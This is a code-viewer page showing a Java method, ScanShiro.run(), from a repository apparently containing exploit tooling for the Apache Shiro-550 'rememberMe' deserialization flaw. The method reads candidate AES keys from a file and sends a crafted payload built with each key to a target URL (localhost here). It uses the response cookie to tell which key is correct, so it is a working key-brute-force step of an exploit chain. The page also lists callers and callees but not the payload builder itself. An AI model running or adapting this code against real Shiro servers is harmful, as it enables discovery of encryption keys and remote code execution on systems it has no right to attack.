MCPcopy Create free account
hub / github.com/Firebasky/Java / run

Method run

Shiro/shiro550/src/main/java/com/firebasky/exp/ScanShiro.java:23–51  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

21
22public class ScanShiro extends Thread {
23 @Override
24 public void run() {
25 super.run();
26 String url = "http://127.0.0.1:8080";
27 String filename = "key.txt";
28 List lists = null;
29 try {
30 lists = readFile(filename);
31 } catch (IOException e) {
32 e.printStackTrace();
33 }
34 for (Object list : lists) {
35 String payload = null;
36 try {
37 payload = EXP("payload",list.toString());
38 } catch (Exception e) {
39 e.printStackTrace();
40 }
41 String res = httpGet(url,payload);
42 boolean isMatch = Pattern.matches("(.*)rememberMe=deleteMe.*", res);
43 if (isMatch) {
44 System.out.println("key不正确.....");
45 }else {
46 System.out.print("key正确为:");
47 System.out.println("\33[32;4m"+list.toString());
48 System.exit(0);
49 }
50 }
51 }
52
53 /**
54 * 读序列化文件字节码内容

Callers 8

bypassMethod · 0.80
mainMethod · 0.80
mainMethod · 0.80
mainMethod · 0.80
mainMethod · 0.80
mainMethod · 0.80
mainMethod · 0.80
mainMethod · 0.80

Calls 3

readFileMethod · 0.95
EXPMethod · 0.95
httpGetMethod · 0.95

Tested by 1

bypassMethod · 0.64